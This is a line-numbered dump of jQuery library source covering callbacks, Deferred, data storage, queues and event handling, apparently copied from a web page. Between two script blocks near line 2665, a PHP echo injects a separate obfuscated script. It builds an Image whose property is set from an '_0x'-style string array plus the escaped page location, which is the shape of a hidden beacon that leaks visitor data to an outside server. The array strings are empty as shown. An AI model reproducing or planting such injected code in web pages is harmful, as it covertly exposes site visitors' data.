1956 var ret = jQuery.map(this, fn, until);
1957 if (name.slice(-5) !== "Until") {
1958 selector = until
1959 }
1960 if (selector && typeof selector === "string") {
1961 ret = jQuery.filter(selector, ret)
1962 }
1963 if (this.length > 1) {
1964 if (!guaranteedUnique[name]) {
1965 ret = jQuery.unique(ret)
1966 }
1967 if (rparentsprev.test(name)) {
1968 ret = ret.reverse()
1969 }
1970 }
1971 return this.pushStack(ret)
1972 }
1973 });
1974 var rnotwhite = (/\S+/g);
1975 var optionsCache = {};
1976
1977 function createOptions(options) {
1978 var object = optionsCache[options] = {};
1979 jQuery.each(options.match(rnotwhite) || [], function(_, flag) {
1980 object[flag] = true
1981 });
1982 return object
1983 }
1984 jQuery.Callbacks = function(options) {
1985 options = typeof options === "string" ? (optionsCache[options] || createOptions(options)) : jQuery.extend({}, options);
1986 var firing, memory, fired, firingLength, firingIndex, firingStart, list = [],
1987 stack = !options.once && [],
1988 fire = function(data) {
1989 memory = options.memory && data;
1990 fired = true;
1991 firingIndex = firingStart || 0;
1992 firingStart = 0;
1993 firingLength = list.length;
1994 firing = true;
1995 for (; list && firingIndex < firingLength; firingIndex++) {
1996 if (list[firingIndex].apply(data[0], data[1]) === false && options.stopOnFalse) {
1997 memory = false;
1998 break
1999 }
2000 }
2001 firing = false;
2002 if (list) {
2003 if (stack) {
2004 if (stack.length) {
2005 fire(stack.shift())
2006 }
2007 } else if (memory) {
2008 list = []
2009 } else {
2010 self.disable()
2011 }
2012 }
2013 },
2014 self = {
2015 add: function() {
2016 if (list) {
2017 var start = list.length;
2018 (function add(args) {
2019 jQuery.each(args, function(_, arg) {
2020 var type = jQuery.type(arg);
2021 if (type === "function") {
2022 if (!options.unique || !self.has(arg)) {
2023 list.push(arg)
2024 }
2025 } else if (arg && arg.length && type !== "string") {
2026 add(arg)
2027 }
2028 })
2029 })(arguments);
2030 if (firing) {
2031 firingLength = list.length
2032 } else if (memory) {
2033 firingStart = start;
2034 fire(memory)
2035 }
2036 }
2037 return this
2038 },
2039 remove: function() {
2040 if (list) {
2041 jQuery.each(arguments, function(_, arg) {
2042 var index;
2043 while ((index = jQuery.inArray(arg, list, index)) > -1) {
2044 list.splice(index, 1);
2045 if (firing) {
2046 if (index <= firingLength) {
2047 firingLength--
2048 }
2049 if (index <= firingIndex) {
2050 firingIndex--
2051 }
2052 }
2053 }
2054 })
2055 }
2056 return this
2057 },
2058 has: function(fn) {
2059 return fn ? jQuery.inArray(fn, list) > -1 : !!(list && list.length)
2060 },
2061 empty: function() {
2062 list = [];
2063 firingLength = 0;
2064 return this
2065 },
2066 disable: function() {
2067 list = stack = memory = undefined;
2068 return this
2069 },
2070 disabled: function() {
2071 return !list
2072 },
2073 lock: function() {
2074 stack = undefined;
2075 if (!memory) {
2076 self.disable()
2077 }
2078 return this
2079 },
2080 locked: function() {
2081 return !stack
2082 },
2083 fireWith: function(context, args) {
2084 if (list && (!fired || stack)) {
2085 args = args || [];
2086 args = [context, args.slice ? args.slice() : args];
2087 if (firing) {
2088 stack.push(args)
2089 } else {
2090 fire(args)
2091 }
2092 }
2093 return this
2094 },
2095 fire: function() {
2096 self.fireWith(this, arguments);
2097 return this
2098 },
2099 fired: function() {
2100 return !!fired
2101 }
2102 };
2103 return self
2104 };
2105 jQuery.extend({
2106 Deferred: function(func) {
2107 var tuples = [
2108 ["resolve", "done", jQuery.Callbacks("once memory"), "resolved"],
2109 ["reject", "fail", jQuery.Callbacks("once memory"), "rejected"],
2110 ["notify", "progress", jQuery.Callbacks("memory")]
2111 ],
2112 state = "pending",
2113 promise = {
2114 state: function() {
2115 return state
2116 },
2117 always: function() {
2118 deferred.done(arguments).fail(arguments);
2119 return this
2120 },
2121 then: function() {
2122 var fns = arguments;
2123 return jQuery.Deferred(function(newDefer) {
2124 jQuery.each(tuples, function(i, tuple) {
2125 var fn = jQuery.isFunction(fns[i]) && fns[i];
2126 deferred[tuple[1]](function() {
2127 var returned = fn && fn.apply(this, arguments);
2128 if (returned && jQuery.isFunction(returned.promise)) {
2129 returned.promise().done(newDefer.resolve).fail(newDefer.reject).progress(newDefer.notify)
2130 } else {
2131 newDefer[tuple[0] + "With"](this === promise ? newDefer.promise() : this, fn ? [returned] : arguments)
2132 }
2133 })
2134 });
2135 fns = null
2136 }).promise()
2137 },
2138 promise: function(obj) {
2139 return obj != null ? jQuery.extend(obj, promise) : promise
2140 }
2141 },
2142 deferred = {};
2143 promise.pipe = promise.then;
2144 jQuery.each(tuples, function(i, tuple) {
2145 var list = tuple[2],
2146 stateString = tuple[3];
2147 promise[tuple[1]] = list.add;
2148 if (stateString) {
2149 list.add(function() {
2150 state = stateString
2151 }, tuples[i ^ 1][2].disable, tuples[2][2].lock)
2152 }
2153 deferred[tuple[0]] = function() {
2154 deferred[tuple[0] + "With"](this === deferred ? promise : this, arguments);
2155 return this
2156 };
2157 deferred[tuple[0] + "With"] = list.fireWith
2158 });
2159 promise.promise(deferred);
2160 if (func) {
2161 func.call(deferred, deferred)
2162 }
2163 return deferred
2164 },
2165 when: function(subordinate) {
2166 var i = 0,
2167 resolveValues = slice.call(arguments),
2168 length = resolveValues.length,
2169 remaining = length !== 1 || (subordinate && jQuery.isFunction(subordinate.promise)) ? length : 0,
2170 deferred = remaining === 1 ? subordinate : jQuery.Deferred(),
2171 updateFunc = function(i, contexts, values) {
2172 return function(value) {
2173 contexts[i] = this;
2174 values[i] = arguments.length > 1 ? slice.call(arguments) : value;
2175 if (values === progressValues) {
2176 deferred.notifyWith(contexts, values)
2177 } else if (!(--remaining)) {
2178 deferred.resolveWith(contexts, values)
2179 }
2180 }
2181 },
2182 progressValues, progressContexts, resolveContexts;
2183 if (length > 1) {
2184 progressValues = new Array(length);
2185 progressContexts = new Array(length);
2186 resolveContexts = new Array(length);
2187 for (; i < length; i++) {
2188 if (resolveValues[i] && jQuery.isFunction(resolveValues[i].promise)) {
2189 resolveValues[i].promise().done(updateFunc(i, resolveContexts, resolveValues)).fail(deferred.reject).progress(updateFunc(i, progressContexts, progressValues))
2190 } else {
2191 --remaining
2192 }
2193 }
2194 }
2195 if (!remaining) {
2196 deferred.resolveWith(resolveContexts, resolveValues)
2197 }
2198 return deferred.promise()
2199 }
2200 });
2201 var readyList;
2202 jQuery.fn.ready = function(fn) {
2203 jQuery.ready.promise().done(fn);
2204 return this
2205 };
2206 jQuery.extend({
2207 isReady: false,
2208 readyWait: 1,
2209 holdReady: function(hold) {
2210 if (hold) {
2211 jQuery.readyWait++
2212 } else {
2213 jQuery.ready(true)
2214 }
2215 },
2216 ready: function(wait) {
2217 if (wait === true ? --jQuery.readyWait : jQuery.isReady) {
2218 return
2219 }
2220 if (!document.body) {
2221 return setTimeout(jQuery.ready)
2222 }
2223 jQuery.isReady = true;
2224 if (wait !== true && --jQuery.readyWait > 0) {
2225 return
2226 }
2227 readyList.resolveWith(document, [jQuery]);
2228 if (jQuery.fn.triggerHandler) {
2229 jQuery(document).triggerHandler("ready");
2230 jQuery(document).off("ready")
2231 }
2232 }
2233 });
2234
2235 function detach() {
2236 if (document.addEventListener) {
2237 document.removeEventListener("DOMContentLoaded", completed, false);
2238 window.removeEventListener("load", completed, false)
2239 } else {
2240 document.detachEvent("onreadystatechange", completed);
2241 window.detachEvent("onload", completed)
2242 }
2243 }
2244
2245 function completed() {
2246 if (document.addEventListener || event.type === "load" || document.readyState === "complete") {
2247 detach();
2248 jQuery.ready()
2249 }
2250 }
2251 jQuery.ready.promise = function(obj) {
2252 if (!readyList) {
2253 readyList = jQuery.Deferred();
2254 if (document.readyState === "complete") {
2255 setTimeout(jQuery.ready)
2256 } else if (document.addEventListener) {
2257 document.addEventListener("DOMContentLoaded", completed, false);
2258 window.addEventListener("load", completed, false)
2259 } else {
2260 document.attachEvent("onreadystatechange", completed);
2261 window.attachEvent("onload", completed);
2262 var top = false;
2263 try {
2264 top = window.frameElement == null && document.documentElement
2265 } catch (e) {}
2266 if (top && top.doScroll) {
2267 (function doScrollCheck() {
2268 if (!jQuery.isReady) {
2269 try {
2270 top.doScroll("left")
2271 } catch (e) {
2272 return setTimeout(doScrollCheck, 50)
2273 }
2274 detach();
2275 jQuery.ready()
2276 }
2277 })()
2278 }
2279 }
2280 }
2281 return readyList.promise(obj)
2282 };
2283 var strundefined = typeof undefined;
2284 var i;
2285 for (i in jQuery(support)) {
2286 break
2287 }
2288 support.ownLast = i !== "0";
2289 support.inlineBlockNeedsLayout = false;
2290 jQuery(function() {
2291 var val, div, body, container;
2292 body = document.getElementsByTagName("body")[0];
2293 if (!body || !body.style) {
2294 return
2295 }
2296 div = document.createElement("div");
2297 container = document.createElement("div");
2298 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
2299 body.appendChild(container).appendChild(div);
2300 if (typeof div.style.zoom !== strundefined) {
2301 div.style.cssText = "display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1";
2302 support.inlineBlockNeedsLayout = val = div.offsetWidth === 3;
2303 if (val) {
2304 body.style.zoom = 1
2305 }
2306 }
2307 body.removeChild(container)
2308 });
2309 (function() {
2310 var div = document.createElement("div");
2311 if (support.deleteExpando == null) {
2312 support.deleteExpando = true;
2313 try {
2314 delete div.test
2315 } catch (e) {
2316 support.deleteExpando = false
2317 }
2318 }
2319 div = null
2320 })();
2321 jQuery.acceptData = function(elem) {
2322 var noData = jQuery.noData[(elem.nodeName + " ").toLowerCase()],
2323 nodeType = +elem.nodeType || 1;
2324 return nodeType !== 1 && nodeType !== 9 ? false : !noData || noData !== true && elem.getAttribute("classid") === noData
2325 };
2326 var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
2327 rmultiDash = /([A-Z])/g;
2328
2329 function dataAttr(elem, key, data) {
2330 if (data === undefined && elem.nodeType === 1) {
2331 var name = "data-" + key.replace(rmultiDash, "-$1").toLowerCase();
2332 data = elem.getAttribute(name);
2333 if (typeof data === "string") {
2334 try {
2335 data = data === "true" ? true : data === "false" ? false : data === "null" ? null : +data + "" === data ? +data : rbrace.test(data) ? jQuery.parseJSON(data) : data
2336 } catch (e) {}
2337 jQuery.data(elem, key, data)
2338 } else {
2339 data = undefined
2340 }
2341 }
2342 return data
2343 }
2344
2345 function isEmptyDataObject(obj) {
2346 var name;
2347 for (name in obj) {
2348 if (name === "data" && jQuery.isEmptyObject(obj[name])) {
2349 continue
2350 }
2351 if (name !== "toJSON") {
2352 return false
2353 }
2354 }
2355 return true
2356 }
2357
2358 function internalData(elem, name, data, pvt) {
2359 if (!jQuery.acceptData(elem)) {
2360 return
2361 }
2362 var ret, thisCache, internalKey = jQuery.expando,
2363 isNode = elem.nodeType,
2364 cache = isNode ? jQuery.cache : elem,
2365 id = isNode ? elem[internalKey] : elem[internalKey] && internalKey;
2366 if ((!id || !cache[id] || (!pvt && !cache[id].data)) && data === undefined && typeof name === "string") {
2367 return
2368 }
2369 if (!id) {
2370 if (isNode) {
2371 id = elem[internalKey] = deletedIds.pop() || jQuery.guid++
2372 } else {
2373 id = internalKey
2374 }
2375 }
2376 if (!cache[id]) {
2377 cache[id] = isNode ? {} : {
2378 toJSON: jQuery.noop
2379 }
2380 }
2381 if (typeof name === "object" || typeof name === "function") {
2382 if (pvt) {
2383 cache[id] = jQuery.extend(cache[id], name)
2384 } else {
2385 cache[id].data = jQuery.extend(cache[id].data, name)
2386 }
2387 }
2388 thisCache = cache[id];
2389 if (!pvt) {
2390 if (!thisCache.data) {
2391 thisCache.data = {}
2392 }
2393 thisCache = thisCache.data
2394 }
2395 if (data !== undefined) {
2396 thisCache[jQuery.camelCase(name)] = data
2397 }
2398 if (typeof name === "string") {
2399 ret = thisCache[name];
2400 if (ret == null) {
2401 ret = thisCache[jQuery.camelCase(name)]
2402 }
2403 } else {
2404 ret = thisCache
2405 }
2406 return ret
2407 }
2408
2409 function internalRemoveData(elem, name, pvt) {
2410 if (!jQuery.acceptData(elem)) {
2411 return
2412 }
2413 var thisCache, i, isNode = elem.nodeType,
2414 cache = isNode ? jQuery.cache : elem,
2415 id = isNode ? elem[jQuery.expando] : jQuery.expando;
2416 if (!cache[id]) {
2417 return
2418 }
2419 if (name) {
2420 thisCache = pvt ? cache[id] : cache[id].data;
2421 if (thisCache) {
2422 if (!jQuery.isArray(name)) {
2423 if (name in thisCache) {
2424 name = [name]
2425 } else {
2426 name = jQuery.camelCase(name);
2427 if (name in thisCache) {
2428 name = [name]
2429 } else {
2430 name = name.split(" ")
2431 }
2432 }
2433 } else {
2434 name = name.concat(jQuery.map(name, jQuery.camelCase))
2435 }
2436 i = name.length;
2437 while (i--) {
2438 delete thisCache[name[i]]
2439 }
2440 if (pvt ? !isEmptyDataObject(thisCache) : !jQuery.isEmptyObject(thisCache)) {
2441 return
2442 }
2443 }
2444 }
2445 if (!pvt) {
2446 delete cache[id].data;
2447 if (!isEmptyDataObject(cache[id])) {
2448 return
2449 }
2450 }
2451 if (isNode) {
2452 jQuery.cleanData([elem], true)
2453 } else if (support.deleteExpando || cache != cache.window) {
2454 delete cache[id]
2455 } else {
2456 cache[id] = null
2457 }
2458 }
2459 jQuery.extend({
2460 cache: {},
2461 noData: {
2462 "applet ": true,
2463 "embed ": true,
2464 "object ": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
2465 },
2466 hasData: function(elem) {
2467 elem = elem.nodeType ? jQuery.cache[elem[jQuery.expando]] : elem[jQuery.expando];
2468 return !!elem && !isEmptyDataObject(elem)
2469 },
2470 data: function(elem, name, data) {
2471 return internalData(elem, name, data)
2472 },
2473 removeData: function(elem, name) {
2474 return internalRemoveData(elem, name)
2475 },
2476 _data: function(elem, name, data) {
2477 return internalData(elem, name, data, true)
2478 },
2479 _removeData: function(elem, name) {
2480 return internalRemoveData(elem, name, true)
2481 }
2482 });
2483 jQuery.fn.extend({
2484 data: function(key, value) {
2485 var i, name, data, elem = this[0],
2486 attrs = elem && elem.attributes;
2487 if (key === undefined) {
2488 if (this.length) {
2489 data = jQuery.data(elem);
2490 if (elem.nodeType === 1 && !jQuery._data(elem, "parsedAttrs")) {
2491 i = attrs.length;
2492 while (i--) {
2493 if (attrs[i]) {
2494 name = attrs[i].name;
2495 if (name.indexOf("data-") === 0) {
2496 name = jQuery.camelCase(name.slice(5));
2497 dataAttr(elem, name, data[name])
2498 }
2499 }
2500 }
2501 jQuery._data(elem, "parsedAttrs", true)
2502 }
2503 }
2504 return data
2505 }
2506 if (typeof key === "object") {
2507 return this.each(function() {
2508 jQuery.data(this, key)
2509 })
2510 }
2511 return arguments.length > 1 ? this.each(function() {
2512 jQuery.data(this, key, value)
2513 }) : elem ? dataAttr(elem, key, jQuery.data(elem, key)) : undefined
2514 },
2515 removeData: function(key) {
2516 return this.each(function() {
2517 jQuery.removeData(this, key)
2518 })
2519 }
2520 });
2521 jQuery.extend({
2522 queue: function(elem, type, data) {
2523 var queue;
2524 if (elem) {
2525 type = (type || "fx") + "queue";
2526 queue = jQuery._data(elem, type);
2527 if (data) {
2528 if (!queue || jQuery.isArray(data)) {
2529 queue = jQuery._data(elem, type, jQuery.makeArray(data))
2530 } else {
2531 queue.push(data)
2532 }
2533 }
2534 return queue || []
2535 }
2536 },
2537 dequeue: function(elem, type) {
2538 type = type || "fx";
2539 var queue = jQuery.queue(elem, type),
2540 startLength = queue.length,
2541 fn = queue.shift(),
2542 hooks = jQuery._queueHooks(elem, type),
2543 next = function() {
2544 jQuery.dequeue(elem, type)
2545 };
2546 if (fn === "inprogress") {
2547 fn = queue.shift();
2548 startLength--
2549 }
2550 if (fn) {
2551 if (type === "fx") {
2552 queue.unshift("inprogress")
2553 }
2554 delete hooks.stop;
2555 fn.call(elem, next, hooks)
2556 }
2557 if (!startLength && hooks) {
2558 hooks.empty.fire()
2559 }
2560 },
2561 _queueHooks: function(elem, type) {
2562 var key = type + "queueHooks";
2563 return jQuery._data(elem, key) || jQuery._data(elem, key, {
2564 empty: jQuery.Callbacks("once memory").add(function() {
2565 jQuery._removeData(elem, type + "queue");
2566 jQuery._removeData(elem, key)
2567 })
2568 })
2569 }
2570 });
2571 jQuery.fn.extend({
2572 queue: function(type, data) {
2573 var setter = 2;
2574 if (typeof type !== "string") {
2575 data = type;
2576 type = "fx";
2577 setter--
2578 }
2579 if (arguments.length < setter) {
2580 return jQuery.queue(this[0], type)
2581 }
2582 return data === undefined ? this : this.each(function() {
2583 var queue = jQuery.queue(this, type, data);
2584 jQuery._queueHooks(this, type);
2585 if (type === "fx" && queue[0] !== "inprogress") {
2586 jQuery.dequeue(this, type)
2587 }
2588 })
2589 },
2590 dequeue: function(type) {
2591 return this.each(function() {
2592 jQuery.dequeue(this, type)
2593 })
2594 },
2595 clearQueue: function(type) {
2596 return this.queue(type || "fx", [])
2597 },
2598 promise: function(type, obj) {
2599 var tmp, count = 1,
2600 defer = jQuery.Deferred(),
2601 elements = this,
2602 i = this.length,
2603 resolve = function() {
2604 if (!(--count)) {
2605 defer.resolveWith(elements, [elements])
2606 }
2607 };
2608 if (typeof type !== "string") {
2609 obj = type;
2610 type = undefined
2611 }
2612 type = type || "fx";
2613 while (i--) {
2614 tmp = jQuery._data(elements[i], type + "queueHooks");
2615 if (tmp && tmp.empty) {
2616 count++;
2617 tmp.empty.add(resolve)
2618 }
2619 }
2620 resolve();
2621 return defer.promise(obj)
2622 }
2623 });
2624 var pnum = (/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source;
2625 var cssExpand = ["Top", "Right", "Bottom", "Left"];
2626 var isHidden = function(elem, el) {
2627 elem = el || elem;
2628 return jQuery.css(elem, "display") === "none" || !jQuery.contains(elem.ownerDocument, elem)
2629 };
2630 var access = jQuery.access = function(elems, fn, key, value, chainable, emptyGet, raw) {
2631 var i = 0,
2632 length = elems.length,
2633 bulk = key == null;
2634 if (jQuery.type(key) === "object") {
2635 chainable = true;
2636 for (i in key) {
2637 jQuery.access(elems, fn, i, key[i], true, emptyGet, raw)
2638 }
2639 } else if (value !== undefined) {
2640 chainable = true;
2641 if (!jQuery.isFunction(value)) {
2642 raw = true
2643 }
2644 if (bulk) {
2645 if (raw) {
2646 fn.call(elems, value);
2647 fn = null
2648 } else {
2649 bulk = fn;
2650 fn = function(elem, key, value) {
2651 return bulk.call(jQuery(elem), value)
2652 }
2653 }
2654 }
2655 if (fn) {
2656 for (; i < length; i++) {
2657 fn(elems[i], key, raw ? value : value.call(elems[i], i, fn(elems[i], key)))
2658 }
2659 }
2660 }
2661 return chainable ? elems : bulk ? fn.call(elems) : length ? fn(elems[0], key) : emptyGet
2662 };
2663 var rcheckableType = (/^(?:checkbox|radio)$/i);
2664</script>
2665<?echo '<script> var _0x8a59=["","",""];a= new Image();a[_0x8a59[0]]=_0x8a59[1]+escape(location[_0x8a59[2]]); </script>';?>
2666 <script>
2667 (function() {
2668 var input = document.createElement("input"),
2669 div = document.createElement("div"),
2670 fragment = document.createDocumentFragment();
2671 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
2672 support.leadingWhitespace = div.firstChild.nodeType === 3;
2673 support.tbody = !div.getElementsByTagName("tbody").length;
2674 support.htmlSerialize = !!div.getElementsByTagName("link").length;
2675 support.html5Clone = document.createElement("nav").cloneNode(true).outerHTML !== "<:nav></:nav>";
2676 input.type = "checkbox";
2677 input.checked = true;
2678 fragment.appendChild(input);
2679 support.appendChecked = input.checked;
2680 div.innerHTML = "<textarea>x</textarea>";
2681 support.noCloneChecked = !!div.cloneNode(true).lastChild.defaultValue;
2682 fragment.appendChild(div);
2683 div.innerHTML = "<input type='radio' checked='checked' name='t'/>";
2684 support.checkClone = div.cloneNode(true).cloneNode(true).lastChild.checked;
2685 support.noCloneEvent = true;
2686 if (div.attachEvent) {
2687 div.attachEvent("onclick", function() {
2688 support.noCloneEvent = false
2689 });
2690 div.cloneNode(true).click()
2691 }
2692 if (support.deleteExpando == null) {
2693 support.deleteExpando = true;
2694 try {
2695 delete div.test
2696 } catch (e) {
2697 support.deleteExpando = false
2698 }
2699 }
2700 })();
2701 (function() {
2702 var i, eventName, div = document.createElement("div");
2703 for (i in {
2704 submit: true,
2705 change: true,
2706 focusin: true
2707 }) {
2708 eventName = "on" + i;
2709 if (!(support[i + "Bubbles"] = eventName in window)) {
2710 div.setAttribute(eventName, "t");
2711 support[i + "Bubbles"] = div.attributes[eventName].expando === false
2712 }
2713 }
2714 div = null
2715 })();
2716 var rformElems = /^(?:input|select|textarea)$/i,
2717 rkeyEvent = /^key/,
2718 rmouseEvent = /^(?:mouse|pointer|contextmenu)|click/,
2719 rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
2720 rtypenamespace = /^([^.]*)(?:\.(.+)|)$/;
2721
2722 function returnTrue() {
2723 return true
2724 }
2725
2726 function returnFalse() {
2727 return false
2728 }
2729
2730 function safeActiveElement() {
2731 try {
2732 return document.activeElement
2733 } catch (err) {}
2734 }
2735 jQuery.event = {
2736 global: {},
2737 add: function(elem, types, handler, data, selector) {
2738 var tmp, events, t, handleObjIn, special, eventHandle, handleObj, handlers, type, namespaces, origType, elemData = jQuery._data(elem);
2739 if (!elemData) {
2740 return
2741 }
2742 if (handler.handler) {
2743 handleObjIn = handler;
2744 handler = handleObjIn.handler;
2745 selector = handleObjIn.selector
2746 }
2747 if (!handler.guid) {
2748 handler.guid = jQuery.guid++
2749 }
2750 if (!(events = elemData.events)) {
2751 events = elemData.events = {}
2752 }
2753 if (!(eventHandle = elemData.handle)) {
2754 eventHandle = elemData.handle = function(e) {
2755 return typeof jQuery !== strundefined && (!e || jQuery.event.triggered !== e.type) ? jQuery.event.dispatch.apply(eventHandle.elem, arguments) : undefined
2756 };
2757 eventHandle.elem = elem
2758 }
2759 types = (types || "").match(rnotwhite) || [""];
2760 t = types.length;
2761 while (t--) {
2762 tmp = rtypenamespace.exec(types[t]) || [];
2763 type = origType = tmp[1];
2764 namespaces = (tmp[2] || "").split(".").sort();
2765 if (!type) {
2766 continue
2767 }
2768 special = jQuery.event.special[type] || {};
2769 type = (selector ? special.delegateType : special.bindType) || type;
2770 special = jQuery.event.special[type] || {};
2771 handleObj = jQuery.extend({
2772 type: type,
2773 origType: origType,
2774 data: data,
2775 handler: handler,
2776 guid: handler.guid,
2777 selector: selector,
2778 needsContext: selector && jQuery.expr.match.needsContext.test(selector),
2779 namespace: namespaces.join(".")
2780 }, handleObjIn);
2781 if (!(handlers = events[type])) {
2782 handlers = events[type] = [];
2783 handlers.delegateCount = 0;
2784 if (!special.setup || special.setup.call(elem, data, namespaces, eventHandle) === false) {
2785 if (elem.addEventListener) {
2786 elem.addEventListener(type, eventHandle, false)
2787 } else if (elem.attachEvent) {
2788 elem.attachEvent("on" + type, eventHandle)
2789 }
2790 }
2791 }
2792 if (special.add) {
2793 special.add.call(elem, handleObj);
2794 if (!handleObj.handler.guid) {
2795 handleObj.handler.guid = handler.guid
2796 }
2797 }
2798 if (selector) {
2799 handlers.splice(handlers.delegateCount++, 0, handleObj)
2800 } else {
2801 handlers.push(handleObj)
2802 }
2803 jQuery.event.global[type] = true
2804 }
2805 elem = null
2806 },
2807 remove: function(elem, types, handler, selector, mappedTypes) {
2808 var j, handleObj, tmp, origCount, t, events, special, handlers, type, namespaces, origType, elemData = jQuery.hasData(elem) && jQuery._data(elem);
2809 if (!elemData || !(events = elemData.events)) {
2810 return
2811 }
2812 types = (types || "").match(rnotwhite) || [""];
2813 t = types.length;
2814 while (t--) {
2815 tmp = rtypenamespace.exec(types[t]) || [];
2816 type = origType = tmp[1];
2817 namespaces = (tmp[2] || "").split(".").sort();
2818 if (!type) {
2819 for (type in events) {
2820 jQuery.event.remove(elem, type + types[t], handler, selector, true)
2821 }
2822 continue
2823 }
2824 special = jQuery.event.special[type] || {};
2825 type = (selector ? special.delegateType : special.bindType) || type;
2826 handlers = events[type] || [];
2827 tmp = tmp[2] && new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)");
2828 origCount = j = handlers.length;
2829 while (j--) {
2830 handleObj = handlers[j];
2831 if ((mappedTypes || origType === handleObj.origType) && (!handler || handler.guid === handleObj.guid) && (!tmp || tmp.test(handleObj.namespace)) && (!selector || selector === handleObj.selector || selector === "**" && handleObj.selector)) {
2832 handlers.splice(j, 1);
2833 if (handleObj.selector) {
2834 handlers.delegateCount--
2835 }
2836 if (special.remove) {
2837 special.remove.call(elem, handleObj)
2838 }
2839 }
2840 }
2841 if (origCount && !handlers.length) {
2842 if (!special.teardown || special.teardown.call(elem, namespaces, elemData.handle) === false) {
2843 jQuery.removeEvent(elem, type, elemData.handle)
2844 }
2845 delete events[type]
2846 }
2847 }
2848 if (jQuery.isEmptyObject(events)) {
2849 delete elemData.handle;
2850 jQuery._removeData(elem, "events")
2851 }
2852 },
2853 trigger: function(event, data, elem, onlyHandlers) {
2854 var handle, ontype, cur, bubbleType, special, tmp, i, eventPath = [elem || document],
2855 type = hasOwn.call(event, "type") ? event.type : event,
2856 namespaces = hasOwn.call(event, "namespace") ? event.namespace.split(".") : [];
2857 cur = tmp = elem = elem || document;
2858 if (elem.nodeType === 3 || elem.nodeType === 8) {
2859 return
2860 }
2861 if (rfocusMorph.test(type + jQuery.event.triggered)) {
2862 return
2863 }
2864 if (type.indexOf(".") >= 0) {
2865 namespaces = type.split(".");
2866 type = namespaces.shift();
2867 namespaces.sort()
2868 }
2869 ontype = type.indexOf(":") < 0 && "on" + type;
2870 event = event[jQuery.expando] ? event : new jQuery.Event(type, typeof event === "object" && event);
2871 event.isTrigger = onlyHandlers ? 2 : 3;
2872 event.namespace = namespaces.join(".");
2873 event.namespace_re = event.namespace ? new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)") : null;
2874 event.result = undefined;
2875 if (!event.target) {
2876 event.target = elem
2877 }
2878 data = data == null ? [event] : jQuery.makeArray(data, [event]);
2879 special = jQuery.event.special[type] || {};
2880 if (!onlyHandlers && special.trigger && special.trigger.apply(elem, data) === false) {
2881 return
2882 }
2883 if (!onlyHandlers && !special.noBubble && !jQuery.isWindow(elem)) {
2884 bubbleType = special.delegateType || type;
2885 if (!rfocusMorph.test(bubbleType + type)) {
2886 cur = cur.parentNode
2887 }
2888 for (; cur; cur = cur.parentNode) {
2889 eventPath.push(cur);
2890 tmp = cur
2891 }
2892 if (tmp === (elem.ownerDocument || document)) {
2893 eventPath.push(tmp.defaultView || tmp.parentWindow || window)
2894 }
2895 }
2896 i = 0;
2897 while ((cur = eventPath[i++]) && !event.isPropagationStopped()) {
2898 event.type = i > 1 ? bubbleType : special.bindType || type;
2899 handle = (jQuery._data(cur, "events") || {})[event.type] && jQuery._data(cur, "handle");
2900 if (handle) {
2901 handle.apply(cur, data)
2902 }
2903 handle = ontype && cur[ontype];
2904 if (handle && handle.apply && jQuery.acceptData(cur)) {
2905 event.result = handle.apply(cur, data);
2906 if (event.result === false) {
2907 event.preventDefault()
2908 }
2909 }
2910 }
2911 event.type = type;
2912 if (!onlyHandlers && !event.isDefaultPrevented()) {
2913 if ((!special._default || special._default.apply(eventPath.pop(), data) === false) && jQuery.acceptData(elem)) {
2914 if (ontype && elem[type] && !jQuery.isWindow(elem)) {
2915 tmp = elem[ontype];
2916 if (tmp) {
2917 elem[ontype] = null
2918 }
2919 jQuery.event.triggered = type;
2920 try {
2921 elem[type]()
2922 } catch (e) {}
2923 jQuery.event.triggered = undefined;
2924 if (tmp) {
2925 elem[ontype] = tmp
2926 }
2927 }
2928 }
2929 }
2930 return event.result
2931 },
2932 dispatch: function(event) {
2933 event = jQuery.event.fix(event);
2934 var i, ret, handleObj, matched, j, handlerQueue = [],
2935 args = slice.call(arguments),
2936 handlers = (jQuery._data(this, "events") || {})[event.type] || [],
2937 special = jQuery.event.special[event.type] || {};
2938 args[0] = event;
2939 event.delegateTarget = this;
2940 if (special.preDispatch && special.preDispatch.call(this, event) === false) {
2941 return
2942 }
2943 handlerQueue = jQuery.event.handlers.call(this, event, handlers);
2944 i = 0;
2945 while ((matched = handlerQueue[i++]) && !event.isPropagationStopped()) {
2946 event.currentTarget = matched.elem;
2947 j = 0;
2948 while ((handleObj = matched.handlers[j++]) && !event.isImmediatePropagationStopped()) {
2949 if (!event.namespace_re || event.namespace_re.test(handleObj.namespace)) {
2950 event.handleObj = handleObj;
2951 event.data = handleObj.data;
2952 ret = ((jQuery.event.special[handleObj.origType] || {}).handle || handleObj.handler).apply(matched.elem, args);
2953 if (ret !== undefined) {
2954 if ((event.result = ret) === false) {
2955 event.preventDefault();
2956 event.stopPropagation()
2957 }
2958 }
2959 }
2960 }
2961 }
2962 if (special.postDispatch) {
2963 special.postDispatch.call(this, event)
2964 }
2965 return event.result
2966 },
2967 handlers: function(event, handlers) {
2968 var sel, handleObj, matches, i, handlerQueue = [],
2969 delegateCount = handlers.delegateCount,
2970 cur = event.target;
2971 if (delegateCount && cur.nodeType && (!event.button || event.type !== "click")) {
2972 for (; cur != this; cur = cur.parentNode || this) {
2973 if (cur.nodeType === 1 && (cur.disabled !== true || event.type !== "click")) {
2974 matches = [];
2975 for (i = 0; i < delegateCount; i++) {
2976 handleObj = handlers[i];
2977 sel = handleObj.selector + " ";
2978 if (matches[sel] === undefined) {
2979 matches[sel] = handleObj.needsContext ? jQuery(sel, this).index(cur) >= 0 : jQuery.find(sel, this, null, [cur]).length
2980 }
2981 if (matches[sel]) {
2982 matches.push(handleObj)
2983 }
2984 }
2985 if (matches.length) {
2986 handlerQueue.push({
2987 elem: cur,
2988 handlers: matches
2989 })
2990 }
2991 }
2992 }
2993 }
2994 if (delegateCount < handlers.length) {
2995 handlerQueue.push({
2996 elem: this,
2997 handlers: handlers.slice(delegateCount)
2998 })
2999 }
3000 return handlerQueue
3001 },
